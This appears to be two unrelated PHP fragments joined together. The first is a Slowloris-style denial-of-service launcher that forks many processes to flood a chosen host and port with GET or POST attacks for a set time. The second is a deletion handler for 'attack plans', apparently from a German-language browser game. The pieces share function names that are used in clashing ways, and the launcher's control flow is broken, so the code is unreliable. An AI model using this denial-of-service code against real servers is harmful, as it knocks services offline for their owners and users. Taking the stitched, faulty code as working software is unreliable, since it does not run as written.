public function startSlowloris($params) { $pids = array(); $host = $params['host']; $port = $params['port']; $method = $params['method']; $threads = $params['threads']; $maxTime = time() + intval($params['time']); while (1) { if (time() > $maxTime) { foreach ($pids as $pid) { posix_kill($pid, 9); break; } } for ($i = 0; $i < $threads; $i++) { $pid = pcntl_fork(); if ($pid == -1) { break; } elseif ($pid) { //parent process $pids[] = $pid; } else { //child process if ($method == 'post' || $method == 'POST') { attack_post($host, $port); } elseif ($method == 'get' || $method == 'GET') { attack_get($host, $port); } else { exit; } #exit(0); } } } return "Code: Complete"; }
function Attack_delete() { if ($_SESSION['steps']['deleteattack']) { unset($_SESSION['steps']['deleteattack']); $this->forms['information']['action'] = ""; $this->forms['information']['url'] = "attplan.php"; $this->forms['information']['title'] = "Plan gelöscht"; $this->forms['information']['message'] = "Plan wurde gelöscht"; $this->forms['information']['style'] = "green"; $this->show('message_information', "Angriffsplan löschen"); } $attid = param_num("id"); if (!$attid) { $this->_header(); } $attplan = attack_get($attid); if (empty($attplan)) { $this->_header(); } //rightcheck if ($this->userdata['uid'] != $attplan['owner'] && !$this->_checkUserRights("attorga")) { $this->_header(); } if ($_POST['send']) { if ($_POST['yes_x']) { attack_delete($attid); $_SESSION['steps']['deleteattack'] = 1; $this->_header("attplan.php?action=delete"); } $this->_header(); } else { $this->forms['information']['url'] = "attplan.php?id={$attid}"; $this->forms['information']['action'] = "delete"; $this->forms['information']['title'] = "Angriffsplan löschen"; $this->forms['information']['message'] = "\n <b>'" . $attplan['title'] . "'</b> komplett löschen ?"; $this->forms['information']['style'] = "red"; $this->show('message_question', "Angriffsplan löschen"); } }